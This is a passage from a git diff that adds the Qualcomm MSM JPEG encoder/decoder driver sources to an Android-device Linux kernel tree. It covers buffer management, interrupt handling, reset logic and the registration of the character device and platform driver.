MSM_JPEG_COMMON_H +#define MSM_JPEG_COMMON_H + +#ifdef MSM_JPEG_DEBUG +#define JPEG_DBG(fmt, args...) pr_info(fmt, ##args) +#else +#define JPEG_DBG(fmt, args...) do { } while (0) +#endif + +#define JPEG_PR_ERR pr_err +#define JPEG_DBG_HIGH pr_debug + +enum JPEG_MODE { + JPEG_MODE_DISABLE, + JPEG_MODE_OFFLINE, + JPEG_MODE_REALTIME, + JPEG_MODE_REALTIME_ROTATION +}; + +enum JPEG_ROTATION { + JPEG_ROTATION_0, + JPEG_ROTATION_90, + JPEG_ROTATION_180, + JPEG_ROTATION_270 +}; + +#endif /* MSM_JPEG_COMMON_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.c new file mode 100644 index 0000000000000..52011346fb80c --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.c @@ -0,0 +1,284 @@ +/* Copyright (c) 2012-2013,The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include "msm_jpeg_hw.h" +#include "msm_jpeg_core.h" +#include "msm_jpeg_platform.h" +#include "msm_jpeg_common.h" + +int msm_jpeg_core_reset(struct msm_jpeg_device *pgmn_dev, uint8_t op_mode, + void *base, int size) { + unsigned long flags; + int rc = 0; + int tm = 500; /*500ms*/ + JPEG_DBG("%s:%d] reset", __func__, __LINE__); + memset(&pgmn_dev->fe_pingpong_buf, 0, + sizeof(pgmn_dev->fe_pingpong_buf)); + pgmn_dev->fe_pingpong_buf.is_fe = 1; + memset(&pgmn_dev->we_pingpong_buf, 0, + sizeof(pgmn_dev->we_pingpong_buf)); + spin_lock_irqsave(&pgmn_dev->reset_lock, flags); + pgmn_dev->reset_done_ack = 0; + msm_jpeg_hw_reset(base, size); + spin_unlock_irqrestore(&pgmn_dev->reset_lock, flags); + rc = wait_event_interruptible_timeout( + pgmn_dev->reset_wait, + pgmn_dev->reset_done_ack, + msecs_to_jiffies(tm)); + + if (!pgmn_dev->reset_done_ack) { + JPEG_DBG("%s: reset ACK failed %d", __func__, rc); + return -EBUSY; + } + + JPEG_DBG("%s: reset_done_ack rc %d", __func__, rc); + spin_lock_irqsave(&pgmn_dev->reset_lock, flags); + pgmn_dev->reset_done_ack = 0; + pgmn_dev->state = MSM_JPEG_RESET; + spin_unlock_irqrestore(&pgmn_dev->reset_lock, flags); + + return 0; +} + +void msm_jpeg_core_release(struct msm_jpeg_device *pgmn_dev, + int domain_num) { + int i = 0; + for (i = 0; i < 2; i++) { + if (pgmn_dev->we_pingpong_buf.buf_status[i] && + pgmn_dev->release_buf) + msm_jpeg_platform_p2v(pgmn_dev, + pgmn_dev->we_pingpong_buf.buf[i].file, + &pgmn_dev->we_pingpong_buf.buf[i].handle, + domain_num); + pgmn_dev->we_pingpong_buf.buf_status[i] = 0; + } +} + +void msm_jpeg_core_init(struct msm_jpeg_device *pgmn_dev) +{ + init_waitqueue_head(&pgmn_dev->reset_wait); + spin_lock_init(&pgmn_dev->reset_lock); +} + +int msm_jpeg_core_fe_start(struct msm_jpeg_device *pgmn_dev) +{ + msm_jpeg_hw_fe_start(pgmn_dev->base); + return 0; +} + +/* fetch engine */ +int msm_jpeg_core_fe_buf_update(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_core_buf *buf) +{ + if (0 == buf->cbcr_len) + buf->cbcr_buffer_addr = 0x0; + JPEG_DBG("%s:%d] 0x%08x %d 0x%08x %d\n", __func__, __LINE__, + (int) buf->y_buffer_addr, buf->y_len, + (int) buf->cbcr_buffer_addr, buf->cbcr_len); + return msm_jpeg_hw_pingpong_update(&pgmn_dev->fe_pingpong_buf, buf, + pgmn_dev->base); +} + +void *msm_jpeg_core_fe_pingpong_irq(int jpeg_irq_status, + struct msm_jpeg_device *pgmn_dev) +{ + return msm_jpeg_hw_pingpong_irq(&pgmn_dev->fe_pingpong_buf); +} + +/* write engine */ +int msm_jpeg_core_we_buf_update(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_core_buf *buf) { + JPEG_DBG("%s:%d] 0x%08x 0x%08x %d\n", __func__, __LINE__, + (int) buf->y_buffer_addr, (int) buf->cbcr_buffer_addr, + buf->y_len); + pgmn_dev->we_pingpong_buf.buf[0] = *buf; + pgmn_dev->we_pingpong_buf.buf_status[0] = 1; + msm_jpeg_hw_we_buffer_update( + &pgmn_dev->we_pingpong_buf.buf[0], 0, pgmn_dev->base); + + return 0; +} + +int msm_jpeg_core_we_buf_reset(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_hw_buf *buf) +{ + int i = 0; + for (i = 0; i < 2; i++) { + if (pgmn_dev->we_pingpong_buf.buf[i].y_buffer_addr + == buf->y_buffer_addr) + pgmn_dev->we_pingpong_buf.buf_status[i] = 0; + } + return 0; +} + +void *msm_jpeg_core_we_pingpong_irq(int jpeg_irq_status, + struct msm_jpeg_device *pgmn_dev) +{ + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + + return msm_jpeg_hw_pingpong_irq(&pgmn_dev->we_pingpong_buf); +} + +void *msm_jpeg_core_framedone_irq(int jpeg_irq_status, + struct msm_jpeg_device *pgmn_dev) +{ + struct msm_jpeg_hw_buf *buf_p; + + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + + buf_p = msm_jpeg_hw_pingpong_active_buffer( + &pgmn_dev->we_pingpong_buf); + if (buf_p && !pgmn_dev->decode_flag) { + buf_p->framedone_len = + msm_jpeg_hw_encode_output_size(pgmn_dev->base); + JPEG_DBG("%s:%d] framedone_len %d\n", __func__, __LINE__, + buf_p->framedone_len); + } + + return buf_p; +} + +void *msm_jpeg_core_reset_ack_irq(int jpeg_irq_status, + struct msm_jpeg_device *pgmn_dev) +{ + /* @todo return the status back to msm_jpeg_core_reset */ + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + return NULL; +} + +void *msm_jpeg_core_err_irq(int jpeg_irq_status, + struct msm_jpeg_device *pgmn_dev) +{ + JPEG_PR_ERR("%s: Error %x\n", __func__, jpeg_irq_status); + return NULL; +} + +static int (*msm_jpeg_irq_handler) (int, void *, void *); + +void msm_jpeg_core_return_buffers(struct msm_jpeg_device *pgmn_dev, + int jpeg_irq_status) +{ + void *data = NULL; + data = msm_jpeg_core_fe_pingpong_irq(jpeg_irq_status, + pgmn_dev); + if (msm_jpeg_irq_handler) + msm_jpeg_irq_handler(MSM_JPEG_HW_MASK_COMP_FE, + pgmn_dev, data); + data = msm_jpeg_core_we_pingpong_irq(jpeg_irq_status, + pgmn_dev); + if (msm_jpeg_irq_handler) + msm_jpeg_irq_handler(MSM_JPEG_HW_MASK_COMP_WE, + pgmn_dev, data); +} + +irqreturn_t msm_jpeg_core_irq(int irq_num, void *context) +{ + void *data = NULL; + unsigned long flags; + int jpeg_irq_status; + struct msm_jpeg_device *pgmn_dev = (struct msm_jpeg_device *)context; + + JPEG_DBG("%s:%d] irq_num = %d\n", __func__, __LINE__, irq_num); + + jpeg_irq_status = msm_jpeg_hw_irq_get_status(pgmn_dev->base); + + JPEG_DBG("%s:%d] jpeg_irq_status = %0x\n", __func__, __LINE__, + jpeg_irq_status); + + /*For reset and framedone IRQs, clear all bits*/ + if (pgmn_dev->state == MSM_JPEG_IDLE) { + JPEG_DBG_HIGH("%s %d ] Error IRQ received state %d", + __func__, __LINE__, pgmn_dev->state); + JPEG_DBG_HIGH("%s %d ] Ignoring the Error", __func__, + __LINE__); + msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, + JPEG_IRQ_CLEAR_ALL, pgmn_dev->base); + return IRQ_HANDLED; + } else if (jpeg_irq_status & 0x10000000) { + msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, + JPEG_IRQ_CLEAR_ALL, pgmn_dev->base); + } else if (jpeg_irq_status & 0x1) { + msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, + JPEG_IRQ_CLEAR_ALL, pgmn_dev->base); + if (pgmn_dev->decode_flag) + msm_jpeg_decode_status(pgmn_dev->base); + } else { + msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, + jpeg_irq_status, pgmn_dev->base); + } + + if (msm_jpeg_hw_irq_is_frame_done(jpeg_irq_status)) { + /* send fe ping pong irq */ + JPEG_DBG_HIGH("%s:%d] Session done\n", __func__, __LINE__); + data = msm_jpeg_core_fe_pingpong_irq(jpeg_irq_status, + pgmn_dev); + if (msm_jpeg_irq_handler) + msm_jpeg_irq_handler(MSM_JPEG_HW_MASK_COMP_FE, + context, data); + data = msm_jpeg_core_framedone_irq(jpeg_irq_status, + pgmn_dev); + if (msm_jpeg_irq_handler) + msm_jpeg_irq_handler( + MSM_JPEG_HW_MASK_COMP_FRAMEDONE, + context, data); + pgmn_dev->state = MSM_JPEG_INIT; + } + if (msm_jpeg_hw_irq_is_reset_ack(jpeg_irq_status)) { + data = msm_jpeg_core_reset_ack_irq(jpeg_irq_status, + pgmn_dev); + spin_lock_irqsave(&pgmn_dev->reset_lock, flags); + pgmn_dev->reset_done_ack = 1; + spin_unlock_irqrestore(&pgmn_dev->reset_lock, flags); + wake_up(&pgmn_dev->reset_wait); + if (msm_jpeg_irq_handler) + msm_jpeg_irq_handler( + MSM_JPEG_HW_MASK_COMP_RESET_ACK, + context, data); + } + + /* Unexpected/unintended HW interrupt */ + if (msm_jpeg_hw_irq_is_err(jpeg_irq_status)) { + if (pgmn_dev->state != MSM_JPEG_EXECUTING) { + /*Clear all the bits and ignore the IRQ*/ + JPEG_DBG_HIGH("%s %d ] Error IRQ received state %d", + __func__, __LINE__, pgmn_dev->state); + JPEG_DBG_HIGH("%s %d ] Ignoring the Error", __func__, + __LINE__); + msm_jpeg_hw_irq_clear(JPEG_IRQ_CLEAR_BMSK, + JPEG_IRQ_CLEAR_ALL, pgmn_dev->base); + return IRQ_HANDLED; + } else { + if (pgmn_dev->decode_flag) + msm_jpeg_decode_status(pgmn_dev->base); + msm_jpeg_core_return_buffers(pgmn_dev, jpeg_irq_status); + data = msm_jpeg_core_err_irq(jpeg_irq_status, pgmn_dev); + if (msm_jpeg_irq_handler) { + msm_jpeg_irq_handler(MSM_JPEG_HW_MASK_COMP_ERR, + context, data); + } + } + } + + return IRQ_HANDLED; +} + +void msm_jpeg_core_irq_install(int (*irq_handler) (int, void *, void *)) +{ + msm_jpeg_irq_handler = irq_handler; +} + +void msm_jpeg_core_irq_remove(void) +{ + msm_jpeg_irq_handler = NULL; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.h new file mode 100644 index 0000000000000..212eaff91d884 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.h @@ -0,0 +1,40 @@ +/* Copyright (c) 2012, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_JPEG_CORE_H +#define MSM_JPEG_CORE_H + +#include +#include "msm_jpeg_hw.h" +#include "msm_jpeg_sync.h" + +#define msm_jpeg_core_buf msm_jpeg_hw_buf + +irqreturn_t msm_jpeg_core_irq(int irq_num, void *context); + +void msm_jpeg_core_irq_install(int (*irq_handler) (int, void *, void *)); +void msm_jpeg_core_irq_remove(void); + +int msm_jpeg_core_fe_buf_update(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_core_buf *buf); +int msm_jpeg_core_we_buf_update(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_core_buf *buf); +int msm_jpeg_core_we_buf_reset(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_hw_buf *buf); + +int msm_jpeg_core_reset(struct msm_jpeg_device *pgmn_dev, uint8_t op_mode, + void *base, int size); +int msm_jpeg_core_fe_start(struct msm_jpeg_device *); + +void msm_jpeg_core_release(struct msm_jpeg_device *, int); +void msm_jpeg_core_init(struct msm_jpeg_device *); +#endif /* MSM_JPEG_CORE_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c new file mode 100644 index 0000000000000..34273d90b8c42 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c @@ -0,0 +1,315 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "msm_jpeg_sync.h" +#include "msm_jpeg_common.h" + +#define MSM_JPEG_NAME "jpeg" +#define DEV_NAME_LEN 10 + +static int msm_jpeg_open(struct inode *inode, struct file *filp) +{ + int rc = 0; + + struct msm_jpeg_device *pgmn_dev = container_of(inode->i_cdev, + struct msm_jpeg_device, cdev); + filp->private_data = pgmn_dev; + + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + + rc = __msm_jpeg_open(pgmn_dev); + + JPEG_DBG(KERN_INFO "%s:%d] %s open_count = %d\n", __func__, __LINE__, + filp->f_path.dentry->d_name.name, pgmn_dev->open_count); + + return rc; +} + +static int msm_jpeg_release(struct inode *inode, struct file *filp) +{ + int rc; + + struct msm_jpeg_device *pgmn_dev = filp->private_data; + + JPEG_DBG(KERN_INFO "%s:%d]\n", __func__, __LINE__); + + rc = __msm_jpeg_release(pgmn_dev); + + JPEG_DBG(KERN_INFO "%s:%d] %s open_count = %d\n", __func__, __LINE__, + filp->f_path.dentry->d_name.name, pgmn_dev->open_count); + return rc; +} +#ifdef CONFIG_COMPAT +static long msm_jpeg_compat_ioctl(struct file *filp, unsigned int cmd, + unsigned long arg) +{ + int rc; + struct msm_jpeg_device *pgmn_dev = filp->private_data; + + JPEG_DBG("%s:%d] cmd=%d pgmn_dev=0x%x arg=0x%x\n", __func__, + __LINE__, _IOC_NR(cmd), (uint32_t)pgmn_dev, (uint32_t)arg); + + rc = __msm_jpeg_compat_ioctl(pgmn_dev, cmd, arg); + + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + return rc; +} +#endif +static long msm_jpeg_ioctl(struct file *filp, unsigned int cmd, + unsigned long arg) +{ + int rc; + struct msm_jpeg_device *pgmn_dev = filp->private_data; + + JPEG_DBG("%s:%d] cmd=%d pgmn_dev=0x%x arg=0x%x\n", __func__, + __LINE__, _IOC_NR(cmd), (uint32_t)pgmn_dev, (uint32_t)arg); + + rc = __msm_jpeg_ioctl(pgmn_dev, cmd, arg); + + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + return rc; +} + +static const struct file_operations msm_jpeg_fops = { + .owner = THIS_MODULE, + .open = msm_jpeg_open, + .release = msm_jpeg_release, + .unlocked_ioctl = msm_jpeg_ioctl, +#ifdef CONFIG_COMPAT + .compat_ioctl = msm_jpeg_compat_ioctl, +#endif +}; + + +int msm_jpeg_subdev_init(struct v4l2_subdev *jpeg_sd) +{ + int rc; + struct msm_jpeg_device *pgmn_dev = + (struct msm_jpeg_device *)jpeg_sd->host_priv; + + JPEG_DBG("%s:%d: jpeg_sd=0x%x pgmn_dev=0x%x\n", + __func__, __LINE__, (uint32_t)jpeg_sd, (uint32_t)pgmn_dev); + rc = __msm_jpeg_open(pgmn_dev); + JPEG_DBG("%s:%d: rc=%d\n", + __func__, __LINE__, rc); + return rc; +} + +static long msm_jpeg_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + long rc; + struct msm_jpeg_device *pgmn_dev = + (struct msm_jpeg_device *)sd->host_priv; + + JPEG_DBG("%s: cmd=%d\n", __func__, cmd); + + JPEG_DBG("%s: pgmn_dev 0x%x", __func__, (uint32_t)pgmn_dev); + + JPEG_DBG("%s: Calling __msm_jpeg_ioctl\n", __func__); + + rc = __msm_jpeg_ioctl(pgmn_dev, cmd, (unsigned long)arg); + pr_debug("%s: X\n", __func__); + return rc; +} + +void msm_jpeg_subdev_release(struct v4l2_subdev *jpeg_sd) +{ + int rc; + struct msm_jpeg_device *pgmn_dev = + (struct msm_jpeg_device *)jpeg_sd->host_priv; + JPEG_DBG("%s:pgmn_dev=0x%x", __func__, (uint32_t)pgmn_dev); + rc = __msm_jpeg_release(pgmn_dev); + JPEG_DBG("%s:rc=%d", __func__, rc); +} + +static const struct v4l2_subdev_core_ops msm_jpeg_subdev_core_ops = { + .ioctl = msm_jpeg_subdev_ioctl, +}; + +static const struct v4l2_subdev_ops msm_jpeg_subdev_ops = { + .core = &msm_jpeg_subdev_core_ops, +}; + +static int msm_jpeg_init_dev(struct platform_device *pdev) +{ + int rc = -1; + struct device *dev; + struct msm_jpeg_device *msm_jpeg_device_p; + char devname[DEV_NAME_LEN]; + + msm_jpeg_device_p = kzalloc(sizeof(struct msm_jpeg_device), GFP_ATOMIC); + if (!msm_jpeg_device_p) { + JPEG_PR_ERR("%s: no mem\n", __func__); + return -EFAULT; + } + + msm_jpeg_device_p->pdev = pdev; + + if (pdev->dev.of_node) + of_property_read_u32((&pdev->dev)->of_node, "cell-index", + &pdev->id); + + snprintf(devname, sizeof(devname), "%s%d", MSM_JPEG_NAME, pdev->id); + + rc = __msm_jpeg_init(msm_jpeg_device_p); + if (rc < -1) { + JPEG_PR_ERR("%s: initialization failed\n", __func__); + goto fail; + } + + v4l2_subdev_init(&msm_jpeg_device_p->subdev, &msm_jpeg_subdev_ops); + v4l2_set_subdev_hostdata(&msm_jpeg_device_p->subdev, msm_jpeg_device_p); + JPEG_DBG("%s: msm_jpeg_device_p 0x%x", __func__, + (uint32_t)msm_jpeg_device_p); + + rc = alloc_chrdev_region(&msm_jpeg_device_p->msm_jpeg_devno, 0, 1, + devname); + if (rc < 0) { + JPEG_PR_ERR("%s: failed to allocate chrdev\n", __func__); + goto fail_1; + } + + if (!msm_jpeg_device_p->msm_jpeg_class) { + msm_jpeg_device_p->msm_jpeg_class = + class_create(THIS_MODULE, devname); + if (IS_ERR(msm_jpeg_device_p->msm_jpeg_class)) { + rc = PTR_ERR(msm_jpeg_device_p->msm_jpeg_class); + JPEG_PR_ERR("%s: create device class failed\n", + __func__); + goto fail_2; + } + } + + dev = device_create(msm_jpeg_device_p->msm_jpeg_class, NULL, + MKDEV(MAJOR(msm_jpeg_device_p->msm_jpeg_devno), + MINOR(msm_jpeg_device_p->msm_jpeg_devno)), NULL, + "%s%d", MSM_JPEG_NAME, pdev->id); + if (IS_ERR(dev)) { + JPEG_PR_ERR("%s: error creating device\n", __func__); + rc = -ENODEV; + goto fail_3; + } + + cdev_init(&msm_jpeg_device_p->cdev, &msm_jpeg_fops); + msm_jpeg_device_p->cdev.owner = THIS_MODULE; + msm_jpeg_device_p->cdev.ops = + (const struct file_operations *) &msm_jpeg_fops; + rc = cdev_add(&msm_jpeg_device_p->cdev, + msm_jpeg_device_p->msm_jpeg_devno, 1); + if (rc < 0) { + JPEG_PR_ERR("%s: error adding cdev\n", __func__); + rc = -ENODEV; + goto fail_4; + } + + platform_set_drvdata(pdev, &msm_jpeg_device_p); + + JPEG_DBG("%s %s%d: success\n", __func__, MSM_JPEG_NAME, pdev->id); + + return rc; + +fail_4: + device_destroy(msm_jpeg_device_p->msm_jpeg_class, + msm_jpeg_device_p->msm_jpeg_devno); + +fail_3: + class_destroy(msm_jpeg_device_p->msm_jpeg_class); + +fail_2: + unregister_chrdev_region(msm_jpeg_device_p->msm_jpeg_devno, 1); + +fail_1: + __msm_jpeg_exit(msm_jpeg_device_p); + return rc; + +fail: + kfree(msm_jpeg_device_p); + return rc; + +} + +static void msm_jpeg_exit(struct msm_jpeg_device *msm_jpeg_device_p) +{ + cdev_del(&msm_jpeg_device_p->cdev); + device_destroy(msm_jpeg_device_p->msm_jpeg_class, + msm_jpeg_device_p->msm_jpeg_devno); + class_destroy(msm_jpeg_device_p->msm_jpeg_class); + unregister_chrdev_region(msm_jpeg_device_p->msm_jpeg_devno, 1); + + __msm_jpeg_exit(msm_jpeg_device_p); +} + +static int __msm_jpeg_probe(struct platform_device *pdev) +{ + return msm_jpeg_init_dev(pdev); +} + +static int __msm_jpeg_remove(struct platform_device *pdev) +{ + struct msm_jpeg_device *msm_jpegd_device_p; + + msm_jpegd_device_p = platform_get_drvdata(pdev); + if (msm_jpegd_device_p) + msm_jpeg_exit(msm_jpegd_device_p); + + return 0; +} + +static const struct of_device_id msm_jpeg_dt_match[] = { + {.compatible = "qcom,jpeg"}, + {}, +}; + +MODULE_DEVICE_TABLE(of, msm_jpeg_dt_match); + +static struct platform_driver msm_jpeg_driver = { + .probe = __msm_jpeg_probe, + .remove = __msm_jpeg_remove, + .driver = { + .name = "msm_jpeg", + .owner = THIS_MODULE, + .of_match_table = msm_jpeg_dt_match, + }, +}; + +static int __init msm_jpeg_driver_init(void) +{ + int rc; + rc = platform_driver_register(&msm_jpeg_driver); + return rc; +} + +static void __exit msm_jpeg_driver_exit(void) +{ + platform_driver_unregister(&msm_jpeg_driver); +} + +MODULE_DESCRIPTION("msm jpeg jpeg driver"); + +module_init(msm_jpeg_driver_init); +module_exit(msm_jpeg_driver_exit); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c new file mode 100644 index 0000000000000..19696953eb788 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c @@ -0,0 +1,416 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include "msm_jpeg_hw.h" +#include "msm_jpeg_common.h" + +#include + +int msm_jpeg_hw_pingpong_update(struct msm_jpeg_hw_pingpong *pingpong_hw, + struct msm_jpeg_hw_buf *buf, void *base) +{ + int buf_free_index = -1; + + if (!pingpong_hw->buf_status[0]) { + buf_free_index = 0; + } else if (!pingpong_hw->buf_status[1]) { + buf_free_index = 1; + } else { + JPEG_PR_ERR("%s:%d: pingpong buffer busy\n", + __func__, __LINE__); + return -EBUSY; + } + + pingpong_hw->buf[buf_free_index] = *buf; + pingpong_hw->buf_status[buf_free_index] = 1; + + if (pingpong_hw->is_fe) { + /* it is fe */ + msm_jpeg_hw_fe_buffer_update( + &pingpong_hw->buf[buf_free_index], buf_free_index, + base); + } else { + /* it is we */ + msm_jpeg_hw_we_buffer_update( + &pingpong_hw->buf[buf_free_index], buf_free_index, + base); + } + return 0; +} + +void *msm_jpeg_hw_pingpong_irq(struct msm_jpeg_hw_pingpong *pingpong_hw) +{ + struct msm_jpeg_hw_buf *buf_p = NULL; + + if (pingpong_hw->buf_status[pingpong_hw->buf_active_index]) { + buf_p = &pingpong_hw->buf[pingpong_hw->buf_active_index]; + pingpong_hw->buf_status[pingpong_hw->buf_active_index] = 0; + } + + pingpong_hw->buf_active_index = !pingpong_hw->buf_active_index; + + return (void *) buf_p; +} + +void *msm_jpeg_hw_pingpong_active_buffer( + struct msm_jpeg_hw_pingpong *pingpong_hw) +{ + struct msm_jpeg_hw_buf *buf_p = NULL; + + if (pingpong_hw->buf_status[pingpong_hw->buf_active_index]) + buf_p = &pingpong_hw->buf[pingpong_hw->buf_active_index]; + + return (void *) buf_p; +} + +struct msm_jpeg_hw_cmd hw_cmd_irq_get_status[] = { + /* type, repeat n times, offset, mask, data or pdata */ + {MSM_JPEG_HW_CMD_TYPE_READ, 1, JPEG_IRQ_STATUS_ADDR, + JPEG_IRQ_STATUS_BMSK, {0} }, +}; + +int msm_jpeg_hw_irq_get_status(void *base) +{ + uint32_t n_irq_status = 0; + n_irq_status = msm_jpeg_hw_read(&hw_cmd_irq_get_status[0], base); + return n_irq_status; +} + +struct msm_jpeg_hw_cmd hw_cmd_encode_output_size[] = { + /* type, repeat n times, offset, mask, data or pdata */ + {MSM_JPEG_HW_CMD_TYPE_READ, 1, + JPEG_ENCODE_OUTPUT_SIZE_STATUS_ADDR, + JPEG_ENCODE_OUTPUT_SIZE_STATUS_BMSK, {0} } , +}; + +long msm_jpeg_hw_encode_output_size(void *base) +{ + uint32_t encode_output_size = 0; + + encode_output_size = msm_jpeg_hw_read(&hw_cmd_encode_output_size[0], + base); + + return encode_output_size; +} + +struct msm_jpeg_hw_cmd hw_cmd_irq_clear[] = { + /* type, repeat n times, offset, mask, data or pdata */ + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_CLEAR_ADDR, + JPEG_IRQ_CLEAR_BMSK, {JPEG_IRQ_CLEAR_ALL} }, +}; + +void msm_jpeg_hw_irq_clear(uint32_t mask, uint32_t data, void *base) +{ + JPEG_DBG("%s:%d] mask %0x data %0x", __func__, __LINE__, mask, data); + hw_cmd_irq_clear[0].mask = mask; + hw_cmd_irq_clear[0].data = data; + msm_jpeg_hw_write(&hw_cmd_irq_clear[0], base); +} + +struct msm_jpeg_hw_cmd hw_cmd_fe_ping_update[] = { + /* type, repeat n times, offset, mask, data or pdata */ + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_MASK_ADDR, + JPEG_IRQ_MASK_BMSK, {JPEG_IRQ_ALLSOURCES_ENABLE} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_CMD_ADDR, + JPEG_CMD_BMSK, {JPEG_CMD_CLEAR_WRITE_PLN_QUEUES} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN0_RD_OFFSET_ADDR, + JPEG_PLN0_RD_OFFSET_BMSK, {0} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN0_RD_PNTR_ADDR, + JPEG_PLN0_RD_PNTR_BMSK, {0} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN1_RD_OFFSET_ADDR, + JPEG_PLN1_RD_OFFSET_BMSK, {0} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN1_RD_PNTR_ADDR, + JPEG_PLN1_RD_PNTR_BMSK, {0} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN2_RD_OFFSET_ADDR, + JPEG_PLN1_RD_OFFSET_BMSK, {0} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN2_RD_PNTR_ADDR, + JPEG_PLN2_RD_PNTR_BMSK, {0} }, +}; + +void msm_jpeg_hw_fe_buffer_update(struct msm_jpeg_hw_buf *p_input, + uint8_t pingpong_index, void *base) +{ + struct msm_jpeg_hw_cmd *hw_cmd_p; + + if (pingpong_index == 0) { + hw_cmd_p = &hw_cmd_fe_ping_update[0]; + wmb(); + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + hw_cmd_p->data = p_input->y_buffer_addr; + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + hw_cmd_p->data = p_input->cbcr_buffer_addr; + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + hw_cmd_p->data = p_input->pln2_addr; + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + } + return; +} + +struct msm_jpeg_hw_cmd hw_cmd_fe_start[] = { + /* type, repeat n times, offset, mask, data or pdata */ + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_CMD_ADDR, + JPEG_CMD_BMSK, {JPEG_OFFLINE_CMD_START} }, +}; + +void msm_jpeg_hw_fe_start(void *base) +{ + msm_jpeg_hw_write(&hw_cmd_fe_start[0], base); + + return; +} + +struct msm_jpeg_hw_cmd hw_cmd_we_ping_update[] = { + /* type, repeat n times, offset, mask, data or pdata */ + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN0_WR_PNTR_ADDR, + JPEG_PLN0_WR_PNTR_BMSK, {0} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN1_WR_PNTR_ADDR, + JPEG_PLN0_WR_PNTR_BMSK, {0} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_PLN2_WR_PNTR_ADDR, + JPEG_PLN0_WR_PNTR_BMSK, {0} }, +}; + +void msm_jpeg_decode_status(void *base) +{ + uint32_t data; + data = readl_relaxed(base + 